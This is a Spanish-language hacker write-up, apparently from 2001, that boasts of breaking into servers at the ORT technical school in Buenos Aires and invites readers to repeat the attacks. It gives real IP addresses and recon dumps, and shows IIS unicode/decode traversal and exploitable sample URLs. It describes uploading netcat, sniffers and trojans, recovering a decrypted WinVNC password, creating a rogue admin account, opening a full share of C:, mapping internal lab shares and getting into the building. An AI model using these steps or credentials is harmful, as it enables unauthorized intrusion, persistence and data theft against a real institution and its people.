Intrusión en la tecnológica O.R.T (sede yatay 240)
Rompiendo las entrañas del infierno
intro:
En este humilde capitulo les voy a contar como fui adueñándome de algunos servidores de la tecnológica o.r.t. En estos momentos ya los deje ya que cumplí con mi objetivo. yo voy a dar los ip reales de los servidores web routers etc. si quieren pueden intentar entrar ustedes, pero con cautela ya que volver a la escena del crimen es peligroso.
Servidor Web (www.ort.edu.ar)
Primero navegue su sitio web como un usuario normal (previamente configure mi navegador con un proxy anónimo que saque de void.ru). Al observar mientras navegaba notaba que el sitio tenia muchas pelotudeces de flash (pense seguro que tienen Microsoft ventanas ) para asegurarme le hice un telnet al puerto 80 con el famosa get http 1.1 (previamente le había hecho un telnet a una maquina de un pobre infeliz que tenia un cybercafe para que quede el ip de el) la respuesta del get me tiro un iis 4.0 osea un nt 4.0 puff!!
info recolectada del server web:
IP Address :
200.41.61.226
HostName : WWW
MAC : 00-01-03-31-99-31 (3Com)
UserName : WWW
LAN Manager : NT LAN Manager 4.0
Domain : ORT
Operating System : Windows NT 4.0
Time to live (TTL) : 122 (128) - 6 hop(s) away
NETBIOS names (11)
WWW - Workstation Service
ORT - Domain Name
WWW - Messenger Service
WWW - File Server Service
WWW - Microsoft Exchange IMC
INet~Services - IIS
ORT - Browser Service Elections
IS~WWW - Workstation Service
WWW - Microsoft Exchange MTA
ORT - Master Browser
__MSBROWSE__ - Master Browser
SNMP info (system)
sysDescr : Hardware: x86 Family 6 Model 8 Stepping 6 AT/AT COMPATIBLE -
Software: Windows NT Version 4.0 (Build Number: 1381 Uniprocessor Free )
sysUpTime : 16 days, 19 hours, 30 minutes, 2 seconds
sysName : WWW
Object ID : 1.3.6.1.4.1.311.1.1.3.1.2 (NT Server)
Vendor : Microsoft
Open Ports (4)
80 [ Http => World Wide Web, HTTP ]
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Fri, 16 Nov 2001 08:40:35 GMT
Content-Length: 407
Content-Type: text/html
135 [ epmap => DCE endpoint resolution ]
139 [ Netbios-ssn => NETBIOS Session Service ]
443 [ HttpS => Secure HTTP ]
Después empece a probar los fallos que estaban de moda en ese momento mas precisamente el del unicode y decode y liste los siguientes directorios:
Directory of c:\
File Not Found
Volume in drive D is disco d
Volume Serial Number is 8055-C7CA
Directory of D:\
04/24/01 12:26p <DIR> InetPub
03/14/01 12:28p <DIR> logfiles
12/26/00 01:29a <DIR> MSSQL7
12/11/00 10:20p <DIR> postoffice
4 File(s) 0 bytes
4,021,227,520 bytes free
Directory of c:\
File Not Found
Volume in drive D is disco d
Volume Serial Number is 8055-C7CA
Directory of d:\mssql7
12/26/00 01:29a <DIR> .
12/26/00 01:29a <DIR> ..
12/26/00 01:29a <DIR> BACKUP
12/26/00 01:28a <DIR> Data
12/26/00 01:27a <DIR> FTDATA
12/26/00 01:29a <DIR> JOBS
05/24/01 03:30p <DIR> LOG
12/26/00 01:29a <DIR> REPLDATA
8 File(s) 0 bytes
4,021,227,520 bytes free
Directory of c:\
File Not Found
Volume in drive D is disco d
Volume Serial Number is 8055-C7CA
Directory of d:\mssql7\data
12/26/00 01:28a <DIR> .
12/26/00 01:28a <DIR> ..
11/13/98 03:28a 1,048,576 distmdl.ldf
11/13/98 03:28a 3,145,728 distmdl.mdf
05/24/01 03:33p 10,158,080 master.mdf
05/24/01 03:33p 2,097,152 mastlog.ldf
05/24/01 03:33p 1,048,576 model.mdf
05/24/01 03:33p 786,432 modellog.ldf
05/24/01 03:33p 8,388,608 msdbdata.mdf
05/24/01 03:33p 1,572,864 msdblog.ldf
05/24/01 03:33p 1,048,576 northwnd.ldf
05/24/01 03:33p 3,801,088 northwnd.mdf
05/24/01 03:33p 1,638,400 pubs.mdf
05/24/01 03:33p 516,096 pubs_log.ldf
05/24/01 03:33p 8,388,608 TEMPDB.MDF
05/24/01 03:33p 524,288 TEMPLOG.LDF
16 File(s) 44,163,072 bytes
4,021,227,520 bytes free
Directory of c:\
Directory of c:\
05/29/01 12:41a <DIR> analog
12/31/97 10:12p 0 AUTOEXEC.BAT
06/08/01 03:55p <DIR> batch
12/31/97 10:05p 279 boot.ini
12/31/97 10:12p 0 CONFIG.SYS
12/06/00 01:14a <DIR> InetPub
12/31/97 10:12p 0 IO.SYS
12/31/97 10:12p 0 MSDOS.SYS
12/26/00 01:25a <DIR> MSSQL7
12/06/00 01:04a <DIR> Multimedia Files
12/06/00 02:07a 26,816 NTDETECT.COM
12/06/00 02:07a 156,496 ntldr
06/08/01 03:53p <DIR> ntrk
06/09/01 06:01a 201,326,592 pagefile.sys
05/02/01 10:07a <DIR> Program Files
05/14/01 11:03a <DIR> RECYCLER
12/26/00 01:33a <DIR> SP2
05/17/01 03:10p <DIR> temp
06/08/01 10:46p <DIR> WINNT
19 File(s) 201,510,183 bytes
3,310,107,648 bytes free
Directory of c:\
File Not Found
Directory of c:\analog
05/29/01 12:41a <DIR> .
05/29/01 12:41a <DIR> ..
03/22/01 10:54a 4,353 analog.cfg
03/12/01 09:57p 4,091 analog.cfg.original.txt
02/13/01 04:07p 399,360 analog.exe
02/13/01 04:28p 8,212 anlgform.html
02/13/01 04:34p 7,057 anlgform.pl
03/12/01 10:24p 2,421 code.png
03/12/01 10:24p 3,536 dir.png
05/30/01 12:35a 909,518 dns.txt
05/30/01 12:01a 0 dnslock
03/11/01 11:05p <DIR> docs
03/11/01 11:06p 2,400 dom.png
03/11/01 11:05p <DIR> examples
03/11/01 11:05p <DIR> images
03/11/01 11:05p <DIR> lang
02/13/01 04:28p 7,127 Licence.txt
02/13/01 04:28p 8,470 logfile.log
03/11/01 11:06p 2,230 org.png
03/11/01 11:06p 2,156 os.png
03/12/01 10:24p 41,354 outfile.html
02/13/01 04:35p 110 README.txt
03/11/01 11:06p 15,366 Report.html
03/12/01 10:24p 3,946 req.png
03/11/01 11:06p 2,264 searchw.png
02/13/01 04:28p 164 SETUP.txt
03/12/01 10:24p 2,535 size.png
12/26/00 02:49a 12,168 tp07000.tmf
12/26/00 03:21a 12,168 tp29000.tmf
12/26/00 02:48a 12,168 tpb3000.tmf
03/12/01 10:24p 3,972 type.png
31 File(s) 1,467,146 bytes
3,310,107,648 bytes free
Directory of c:\
File Not Found
Directory of c:\inetpub
12/06/00 01:14a <DIR> .
12/06/00 01:14a <DIR> ..
06/09/01 02:02a <DIR> Catalog.wci
12/31/97 10:14p <DIR> ftproot
12/06/00 02:08a <DIR> iissamples
06/06/01 08:58p <DIR> scripts
06/08/01 10:35a <DIR> wwwroot
7 File(s) 0 bytes
3,310,107,648 bytes free
Directory of c:\
File Not Found
Directory of c:\inetpub\wwwroot
06/08/01 10:35a <DIR> .
06/08/01 10:35a <DIR> ..
12/15/00 03:08a <DIR> activo
03/22/01 10:47a 212,090 analog-all.html
06/08/01 05:28a 25,534 analog.html
03/13/01 09:46p <DIR> analog_images
05/16/01 09:44a 40,448 banner.fla
05/16/01 09:36a 26,726 banner.gif
05/16/01 09:07a 9,476 banner.swf
05/21/01 12:49p 226,304 banner2.fla
05/21/01 11:07a 23,367 banner2.gif
05/21/01 11:08a 22,582 banner2.swf
06/08/01 09:29a 231,936 banner3.fla
06/08/01 09:57a 40,142 banner3.gif
06/08/01 09:29a 25,384 banner3.swf
06/08/01 08:53a 52,736 banner4.fla
06/08/01 08:11a 10,361 banner4.gif
06/08/01 08:11a 19,160 banner4.swf
06/08/01 08:53a 56,832 banner5.fla
06/08/01 08:13a 50,125 banner5.gif
06/08/01 08:13a 10,781 banner5.swf
06/04/01 12:15p 25,600 bannerbis.fla
12/22/00 01:25a 77 Bghome.gif
12/15/00 02:20a 777 bg_azul.jpg
05/07/01 10:05a <DIR> botones
05/16/01 11:34a <DIR> bot_escuelas
12/27/00 04:51a <DIR> carreras
12/15/00 04:22a 1,799 cdontsmail.asp
12/15/00 03:20a 1,915 cdontsmail.htm
12/15/00 01:13a <DIR> cgi-bin
06/08/01 05:28a 2,704 code.png
03/16/01 09:37a 3,998 creditos.htm
12/15/00 03:09a <DIR> css
12/15/00 03:05a <DIR> csup
06/08/01 05:28a 3,898 dir.png
06/08/01 05:28a 3,186 dom.png
12/15/00 03:11a <DIR> d_coop_t
12/18/00 12:50a 1,401 english.htm
12/15/00 02:57a <DIR> escuelas
06/08/01 05:28a 4,779 fail.png
03/22/01 10:47a 4,245 failhost.png
12/18/00 01:05a 1,452 generos.htm
06/08/01 09:33a 4,887 home.htm
12/22/00 01:28a 89,620 home.swf
03/22/01 10:47a 3,173 host.png
12/15/00 02:24a <DIR> ie
12/29/00 01:01a <DIR> imagenes
12/15/00 02:33a <DIR> images
03/07/01 03:46a <DIR> imgcomun
06/04/01 11:00a <DIR> img_admision
12/15/00 02:33a <DIR> img_book
12/15/00 02:33a <DIR> img_infr
12/15/00 02:34a <DIR> img_mapa
03/07/01 12:40a <DIR> img_presentacion
12/15/00 02:34a <DIR> img_tercia1
12/15/00 02:34a <DIR> img_tercia2
05/16/01 10:01a 2,443 index.htm
03/05/01 12:06a 3,517 index2.htm
12/15/00 02:29a <DIR> i_pedag
12/15/00 02:34a <DIR> js
12/15/00 02:34a <DIR> Library
12/15/00 02:19a 1,041 mandar_mail.asp
12/15/00 02:34a <DIR> mapas
06/09/01 02:20a <DIR> novedades
06/08/01 05:28a 4,010 org.png
12/15/00 02:20a 43 pixtrans.gif
12/15/00 02:20a 642 pop.htm
06/08/01 09:53a 2,497 popnov.htm
06/04/01 10:44a 889 popnov2.htm
06/04/01 12:50p 663 popnovb.htm
06/04/01 01:02p 651 popnovy.htm
12/27/00 04:52a <DIR> presenta
03/22/01 10:47a 3,610 proctime.png
03/22/01 10:47a 3,967 req.png
12/22/00 03:11a <DIR> rrhh
12/15/00 02:25a <DIR> sede1
12/15/00 02:25a <DIR> sede2
12/15/00 02:23a <DIR> sedes
12/15/00 02:58a <DIR> servicio
06/06/01 12:49p 12,595 site_map.asp
06/08/01 05:28a 2,554 size.png
12/15/00 02:58a <DIR> subtit
12/15/00 02:25a <DIR> tercia
12/15/00 02:19a 9,016 top.asp
12/19/00 04:57a 27,805 top.swf
12/15/00 02:20a 6,065 top_english.swf
12/22/00 01:54a 18,172 tt_creditos.swf
06/08/01 05:28a 3,752 type.png
03/22/01 10:47a 2,067 vhost.png
05/18/01 11:32a <DIR> yaron-pruebas
12/06/00 01:14a <DIR> _vti_bin
12/06/00 01:14a <DIR> _vti_cnf
12/06/00 01:14a <DIR> _vti_log
12/06/00 01:14a <DIR> _vti_pvt
12/06/00 01:14a <DIR> _vti_txt
95 File(s) 1,343,494 bytes
3,310,107,648 bytes free
Directory of c:\
File Not Found
Directory of c:\inetpub\wwwroot\activo
12/15/00 03:08a <DIR> .
12/15/00 03:08a <DIR> ..
12/15/00 03:09a <DIR> compdep
12/27/00 04:47a 70,706 esc.htm
12/15/00 03:05a <DIR> ingles
12/15/00 03:05a <DIR> novedad
12/15/00 03:05a <DIR> olimpiad
05/14/01 08:26a <DIR> PREMIOS
12/15/00 03:05a <DIR> proy_esp
12/15/00 03:08a <DIR> publica
12/15/00 03:05a <DIR> talleres
12/15/00 03:08a <DIR> t_solid
12 File(s) 70,706 bytes
3,310,107,648 bytes free
Directory of c:\
File Not Found
Directory of c:\inetpub\wwwroot\bot_escuelas
05/16/01 11:34a <DIR> .
05/16/01 11:34a <DIR> ..
12/29/00 01:53a 197 ADMIS_OF.GIF
12/29/00 01:53a 188 ADMIS_OV.GIF
12/29/00 01:53a 210 AUTOR_OF.GIF
12/29/00 01:53a 197 AUTOR_OV.GIF
12/29/00 01:53a 215 CBASI_OF.GIF
12/29/00 01:53a 207 CBASI_OV.GIF
12/29/00 01:53a 222 CSUPE_OF.GIF
12/29/00 01:53a 213 CSUPE_OV.GIF
12/29/00 01:53a 276 dpsico_of.gif
12/29/00 01:53a 258 dpsico_ov.gif
05/16/01 11:11a 223 escuela1_of.gif
05/16/01 11:07a 212 escuela1_ov.gif
05/16/01 11:20a 229 escuela2_of.gif
05/16/01 11:18a 219 escuela2_ov.gif
12/15/00 03:09a 1,208 FINDER.DAT
12/29/00 01:53a 234 MAPAC_OF.GIF
12/29/00 01:53a 227 MAPAC_OV.GIF
19 File(s) 4,735 bytes
Al listar los dir nos damos cuenta los programas instalados.
Como solo podía ejecutar comandos como local system mediante tftp subí el netcat snifers winsniff troyanos etc.
también gracias al netcat me conecte con telnet al puerto 80 (para que el fire no salte) empece a jugar con los comando net y a montar unidades
Server Name Remark
net view
\\AMOSCOVICH Adrian Moscovich
\\CESA_ARGENTINA
\\LEONARDO Leo
\\ORT1001
\\ORT2000
\\ORT2001
\\VJASID Viviana Jasid
\\WEB-TEMP
The command completed successfully.
Domain
-------------------------------------------------------------------------------
CALLWARE
INFORMATICA
INTERNET1
ORT
The command completed successfully.
Shared resources at \\leonardo
Leo
Share name Type Used as Comment
-------------------------------------------------------------------------------
DARIO Disk
MIS DOCUMENT Disk
SERVICE PACK Disk
The command completed successfully.
en el disco de dario encontré este archivo de Access (.mdb) base97.mdb
---------------------------------------------------------------------------------------------------------------
luego al día siguiente encontré mas fallos todos se ejecutaban desde el navegador:
Fallo 1
http://200.41.61.226/iisadmpwd/aexp3.htr
|
|
Internet Service Manager |
Your password has expired. You can change it now.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Fallo 2:
http://200.41.61.226/iissamples/exair/howitworks/codebrws.asp
|
ASP Script |
|
Comments |
|
HTML and Text |
Server.MapPath() error 'ASP 0171 : 80004005'
Missing Path
/iissamples/exair/howitworks/codebrws.asp, line 44
The Path parameter must be specified for the MapPath method
|
Advanced Search Page |
||
|
|
Please fill out the form below to create your complex search query: |
||
|
Words to search for: |
|
|
File Size is: |
|
|
Modified: |
|
|
Document Author: |
|
©1997 Microsoft Corporation. All rights reserved. Terms of Use.
nota este descripto arriba es un fallo denial of service
------------------------------------------------------------------------------------------------------------
fallo 3
|
|
|
Datasource creation FAILED! The most likely cause is invalid attributes |
Drives:
C:NOSPART
D:html
E:sql
Directories:
C:\
analog
BATCH
DMI
HP
I386
InetPub
julieta
//este lo cree yo jujuju
ntrk
Program
Files
RECYCLER
TEMP
WINNT
New directory name:
|
Sample Full Hit Highlighting Form |
Query none against document /iissamples/issamples/oop/qfullhit.htw
You can navigate between the hits using the "<<" and ">>" tags around a hit. Clicking "<<" takes you to the previous hit, clicking ">>" takes you to the next hit.
Click to go to the first hit in the document.
in
Sample Full Hit Highlighting Form |
©1997 Microsoft Corporation. All rights reserved. |
Welcome
Here is your upload status
-----------------------------------------------------------------------------------------
fallo 4
miren este fallo si uno navega en el puerto 280 obtiene info del server
http://www.ort.edu.ar:280/cgi-bin/hpnst.exe?c=p+i=sensortemp.html
Temperature Sensors
NetServer
Temperature Sensors
|
Temperature Events
|
|
||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||
|
|
System Information
System Name: |
WWW |
Model: |
HP NetServer LC 2000 |
Total Processors: |
1 |
Processor Type: |
Pentium(R) III |
Primary Processor Speed: |
1000 |
Total Memory: |
128 MB |
NOS Name: |
Microsoft Windows NT |
NOS Version: |
4.0 (Build 1381: Service Pack 6) |
Up Time: |
27 days 16:36:41 seconds |
Power On Password State: |
Information Not Available |
Keyboard Password State: |
Information Not Available |
|
HP NetServer Summary Report
Printable Page
|
Savable Page
System Information
System Name: |
WWW |
Model: |
HP NetServer LC 2000 |
Total Processors: |
1 |
Processor Type: |
Pentium(R) III |
Primary Processor Speed: |
1000 |
BIOS Version: |
4.06.30 PV |
Video BIOS Version: |
3.097 |
SCSI BIOS Version: |
4.14.04 |
Up Time: |
27 days 16:37:45 seconds |
Power On Password State: |
Information Not Available |
Keyboard Password State: |
Information Not Available |
NOS Name: |
Microsoft Windows NT |
NOS Version: |
4.0 (Build 1381: Service Pack 6) |
Location: |
|
Contact: |
|
Phone: |
unknown |
Memory
Configuration
|
Installed Memory
|
Storage
Subsytem Configuration
Controllers
|
Physical Devices
|
Version
Information
Drivers
|
Firmware
|
Data collected on 10/13/01 04:44:49
|
Memory Status
|
Installed Memory
|
Click on a socket label to see advisory information.
|
como ven este server esta plagado de fallos fue muy fácil someterlo. Mi objetivo no era cambiarle la pagina eso es una pendejada, mi obj fue subirle un sniffer y un troyano para regresar por mas y saltar a otras maquinas etc.
------------------------------------------------------------------------------------------
Proxy:
Este server es el que funciona en el laboratorio de internet, esta conectado con 8 maquinas win98 mas a las que da servicio de internet para que lo alumnos naveguen.
info recolectada:
este servidor tenia el puerto 80 prendido y cuando uno accedía vía navegador ponía el famoso site under construction ese server también tenia el fallo de decode entonces liste sus directorios para verlos
otra vez tenia solo permisos de system local, pero en este note que tenia el puerto 5800 prendido y que corría el famoso Winvnc (un programa para controlar un pc parecido al Pc anyyware)
entonces desde la maquina de la oficina coloque lo siguiente en el navegador:
http://200.41.61.234:5800 y aparecio lo siguiente:
Arriba vemos como accedemos al login del winwnc mediante el navegador desde un w2kas. Solo faltaba descubrir la contraseña...y bueno entonces gracias al fallo del inicode/decode exporte la clave del registro que guarda la contraseña encriptada del winvnc a un archivo y después le hice un cat no perdón un type al archivo:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Type: application/octet-stream
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3]
[HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3\Default]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"InputsEnabled"=dword:00000001
"LocalInputsDisabled"=dword:00000000
"QuerySetting"=dword:00000002
"QueryTimeout"=dword:0000000a
"Password"=hex:31,7e,8c,c0,4a,5e,14,3a
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000000
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000
ven donde dice password hex:31,7e,8c,c0,4a,5e,14,3a: es la contraseña encriptada que en este caso fue :
proydesa
que contraseña de mierda!!
una vez que coloque ese pass entre al server... pero me encontre con otra traba: el servidor no estaba logueado osea estaba bloquedo //claro si eran la 4 de la mañana!!!
entonces tuve que intentar a eso de las nueve de la mañana hasta que encontré la maquina logueda. una vez que estaba logueda. con el comando net user me cree una cuenta y con el comando net localgroup la añadi al grupo administradores, y me desconecte para volver a la noche. de mas esta decir que ese server lo mantuve durante un mes aprox hasta que el administrador descubrio la cuenta y la deshabitara. Igual me importaba una mierda ya que esa maquina ahora compartía recursos para todos jej (net share =c:"unlimited")
-------------------------------------------------------------------------------------------------------------
Ingreso físico al establecimiento sede 1(yatay 240) sede 2 (av.libertador).
Para ingresar al establecimiento (sede 1 o 2) los alumnos muestran una credencial como esta:
front
back
Otra forma de ingresar (pero comprometida) es ingresar como cualquier campeón para pedir información de las carreras que ofrecen. Ahí les pedirán sus datos y anotaran la hora de entrada y salida al establecimiento.
------------------------------------------------------------------------------------------------------------------------------------------------------
Una vez dentro del infierno
En el segundo piso de la sede 1 hay 2 (dos) laboratorios de computadoras uno es el de internet (si..!! en el que hay 10 pc con w98 y un servidor w2k server (version ingles) que describí mas arriba) y otro con una seria de pc con w98 y varios servidores. Al ingresar a este me senté en una terminal con w98 y me loguie como un estudiante mas.
usuario publico sin contraseña . con derechos de usuarios. entonces abrí una consola, perdon una sesion dos y escribi arp -a
arp -a
Interfaz: 10.4.1.46 on Interface 0x1000002
Direcci¢n IP Direcci¢n f¡sica Tipo
10.4.1.180 00-80-ad-c8-20-a7 din mico
10.4.1.207 00-01-02-7a-e2-a1 din mico
10.4.1.251 00-01-02-6b-9b-70 din mico
10.4.1.254 08-00-09-6b-29-30 din mico
10.4.8.5 00-01-02-3d-9a-93 din mico
luego net view
Servidores disponibles en el grupo de trabajo
LAB-COMPUT.
Nombre del servidor Destacar
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
\\CAM01 Description
\\CAM03 Description
\\CAM04 Description
\\CAM05 Description
\\CAM06 Description
\\CAM07 Description
\\CAZ01 Description
\\CAZ02 Description
\\CAZ03 Description
\\CAZ05 Description
\\CAZ06 Description
\\CBE01 Description
\\CBE02 Description
\\CBE03 Description
\\CBE04 Description
\\CBE06 Description
\\CBL02 Description
\\CBL03 Description
\\CBL04 Description
\\CBL05 Description
\\CCE01 Description
\\CCE02 Description
\\CCE03 Description
\\CCE04 Description
\\CCE05 Description
\\CCE06 Description
\\CGR01 Description
\\CGR02 Description
\\CGR04 Description
\\CGR05 Description
\\CGR06 Description
\\CLEOPATRA
\\CMA01 Description
\\CMA02 Description
\\CMA03 Description
\\CMA04 LABORATORIO DE COMPUTACI_N
\\CMA05 Description
\\CMA06 Description
\\CMA07 Description
\\CNA02 Description
\\CNA03 Description
\\CNA06 Description
\\CNA08 Description
\\CNE01 Description
\\CNE02 Description
\\CNE03 Description
\\CNE04 Description
\\CNE06 Description
\\COSA
\\CRO01 Description
\\CRO02 Description
\\CRO03 Description
\\CRO04 Description
\\CRO05 LABORATORIO DE COMPUTACI_N
\\CRO06 Description
\\CRO07 Description
\\CRO08 Description
\\CVE01 Description
\\CVE02 Description
\\CVE03 Description
\\CVE04 Description
\\CVE05 Description
\\CVE06 Description
\\CVE08 Description
\\CVI03 Description
\\CVI05 Description
\\CVI06 Description
\\DEDOS
\\HOMERO
\\HPVE4 LABORATORIO DE COMPUTACI_N
\\HPVL4002 LABORATORIO DE COMPUTACI_N
\\IMGSASA123456 ORTsa
\\INET_05 Description
\\LKRISTAL LABORATORIO DE COMPUTACION
\\LUCAS
\\LUM_05 Laboratorio de Usos Multiples
\\MERLINA
\\NGUTIERR NGUTIERR
\\PCAYTES AYTES
\\PCVIDEO PCVIDEO
\\PERICLES
El comando se complet¢ correctamente.
de estos elegi a CLEOPATRA
Recursos compartidos en \\CLEOPATRA
Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Marketing Disco
El comando se complet¢ correctamente.
compartía recursos y con net use los obtuve
G: conectado a \\CLEOPATRA\MARKETING.
pero no había una mierda solo boludeces
después me puse a probar otras maquinas
Servidores disponibles en el grupo de trabajo
ELECTRONICA.
Nombre del servidor Destacar
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
\\CNA08 Description
\\HP_233_01 Electronica
\\HP_233_11 Electronica
\\NT_E1
\\PA¥OL2 Electronica
El comando se complet¢ correctamente.
Recursos compartidos en \\NT_E1
Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Alumnos Disco Alumnos de Electronica
CD-ROM Disco
EAdmin Disco
EpsonSty Imprimir Epson Stylus 1000 232
Images Disco
NETLOGON Disco Logon server share
Programas Disco
progs Disco
PUBLICO Disco
SECUNDARIO Disco
TERCIARIO Disco
Users Disco
VPHOME Disco Virus Protect
VPLOGON Disco Virus Protect
El comando se complet¢ correctamente.
El volumen de la unidad K es WINNT4
Directorio de K:\
. <DIR> 29/08/01 14.13 .
.. <DIR> 29/08/01 14.13 ..
Alum4 bat 419 17/04/01 11.19 Alum4.bat
Alum5 bat 419 17/04/01 11.19 Alum5.bat
Alum6 bat 419 17/04/01 11.19 Alum6.bat
Config pol 78.088 29/08/01 14.09 Config.pol
COPIAD~2 POL 78.088 14/03/01 11.46 Copia de CONFIG.POL
COPIAD~1 POL 78.088 30/06/00 12.13 Copia de CONFIG.POL 2000
DANIBA~1 OLD 385 11/10/00 0.32 dani.bat.old
materias bat 336 08/05/00 12.00 materias.bat
NORMAT~1 TXT 818 15/10/99 11.48 Normativa.txt
ProduMus bat 378 08/05/00 12.00 ProduMus.bat
PROFES~1 BAT 362 08/08/01 8.14 profesores.bat
ProfSec bat 385 11/10/00 0.27 ProfSec.bat
ProfTer bat 372 08/08/01 8.14 ProfTer.bat
publico bat 390 21/05/01 11.31 publico.bat
14 archivos 238.947 bytes
2 directorios 334.364.672 bytes libres
El volumen de la unidad Q es WINNT4
Directorio de Q:\
. <DIR> 03/09/01 7.37 .
.. <DIR> 03/09/01 7.37 ..
Alert <DIR> 26/02/01 12.02 Alert
AMS2 <DIR> 26/02/01 12.03 AMS2
AMSAdmin exe 135.168 22/12/00 7.51 AMSAdmin.exe
amscust dll 32.768 22/12/00 7.51 amscust.dll
AMSSERVR isu 46.159 05/03/01 15.40 AMSSERVR.isu
chan32i dll 55.296 18/09/00 17.16 chan32i.dll
Cliproxy dll 159.744 22/12/00 7.51 Cliproxy.dll
Cliscan dll 237.568 22/12/00 7.51 Cliscan.dll
clninst bat 293 18/09/00 17.22 clninst.bat
clt-inst <DIR> 05/03/01 15.34 clt-inst
country dat 3.971 20/09/00 16.08 country.dat
dec2 dll 12.288 15/12/00 18.03 dec2.dll
dec2amg dll 20.480 15/12/00 18.03 dec2amg.dll
dec2arj dll 19.968 15/12/00 18.03 dec2arj.dll
dec2id dll 10.240 15/12/00 18.03 dec2id.dll
dec2lha dll 18.944 15/12/00 18.03 dec2lha.dll
dec2lz dll 14.848 15/12/00 18.03 dec2lz.dll
dec2mime dll 34.304 15/12/00 18.03 dec2mime.dll
Dec2RTF dll 19.456 15/12/00 18.03 Dec2RTF.dll
Dec2SS dll 20.480 15/12/00 18.03 Dec2SS.dll
Dec2UUE dll 17.408 15/12/00 18.03 Dec2UUE.dll
dec2zip dll 145.920 15/12/00 18.03 dec2zip.dll
defannty dll 421.888 22/12/00 7.51 defannty.dll
default hst 6.003 18/09/00 17.16 default.hst
DEFLOC DAT 68 05/03/01 15.39 DEFLOC.DAT
defwatch exe 32.768 22/12/00 7.51 defwatch.exe
dwhwizrd exe 393.216 22/12/00 7.51 dwhwizrd.exe
enuact cnt 823 22/12/00 7.51 enuact.cnt
enuccm hlp 98.597 03/10/00 5.31 enuccm.hlp
enucore hlp 120.773 22/12/00 7.51 enucore.hlp
enuctls hlp 80.717 22/12/00 7.51 enuctls.hlp
enudlgs hlp 76.433 22/12/00 7.51 enudlgs.hlp
enugloss hlp 29.005 22/12/00 7.51 enugloss.hlp
enulotus hlp 94.803 22/12/00 7.51 enulotus.hlp
enuopt cnt 906 22/12/00 7.51 enuopt.cnt
enutask hlp 94.461 22/12/00 7.51 enutask.hlp
enuview hlp 135.206 22/12/00 7.51 enuview.hlp
enuvpc32 cnt 21.324 22/12/00 7.51 enuvpc32.cnt
enuvpui hlp 35.848 22/12/00 7.51 enuvpui.hlp
enuxchng hlp 94.771 22/12/00 7.51 enuxchng.hlp
filter dat 3.056.104 20/09/00 16.08 filter.dat
GRC DAT 3.314 03/09/01 7.06 GRC.DAT
i2ldvp3 dll 241.664 22/12/00 7.51 i2ldvp3.dll
I2_LDVP VDB <DIR> 03/09/01 7.37 I2_LDVP.VDB
intelbbs scr 481 18/09/00 17.16 intelbbs.scr
invupd dll 46.592 18/09/00 17.16 invupd.dll
langs <DIR> 05/03/01 15.36 langs
ldcminst dll 96.256 18/09/00 17.16 ldcminst.dll
ldvpreg exe 28.672 22/12/00 7.51 ldvpreg.exe
loc32vc0 dll 77.824 18/09/00 17.16 loc32vc0.dll
logon <DIR> 03/09/01 7.37 logon
luawrap exe 36.864 22/12/00 7.51 luawrap.exe
luhstedt dll 36.864 22/12/00 7.51 luhstedt.dll
N32call dll 57.344 22/12/00 7.51 N32call.dll
N32vlist dll 153.600 22/12/00 7.51 N32vlist.dll
navap sys 171.872 22/12/00 7.51 navap.sys
navap32 dll 37.888 22/12/00 7.51 navap32.dll
Navapel sys 7.888 22/12/00 7.51 Navapel.sys
navapi32 dll 208.896 03/08/00 19.08 navapi32.dll
navcust2 dll 241.664 22/12/00 7.51 navcust2.dll
NavInsNT dll 397.312 22/12/00 7.51 NavInsNT.dll
navlogon dll 32.768 03/10/00 5.31 navlogon.dll
navlu dll 61.440 22/12/00 7.51 navlu.dll
navnt 000 123.422 26/02/01 12.03 navnt.000
navnt isu 123.422 26/02/01 12.03 navnt.isu
navntutl dll 49.152 22/12/00 7.51 navntutl.dll
NAVSetup <DIR> 05/03/01 15.40 NAVSetup
nnewdefs dll 40.960 22/12/00 7.51 nnewdefs.dll
patch32i dll 72.704 18/09/00 17.16 patch32i.dll
platform dat 103 20/09/00 16.08 platform.dat
pscan sys 43.040 18/09/00 17.16 pscan.sys
qscomm32 dll 45.056 22/12/00 12.08 qscomm32.dll
qsinfo dll 36.864 22/12/00 12.08 qsinfo.dll
qspak32 dll 65.536 22/12/00 2.01 qspak32.dll
rtvscan exe 430.080 22/12/00 7.51 rtvscan.exe
S32navp dll 468.992 22/12/00 7.51 S32navp.dll
SCANDLVR DLL 81.920 22/12/00 7.51 SCANDLVR.DLL
scandres dll 339.968 22/12/00 7.51 scandres.dll
sdflt32i dll 87.552 20/09/00 16.08 sdflt32i.dll
sdpck32i dll 174.080 20/09/00 16.08 sdpck32i.dll
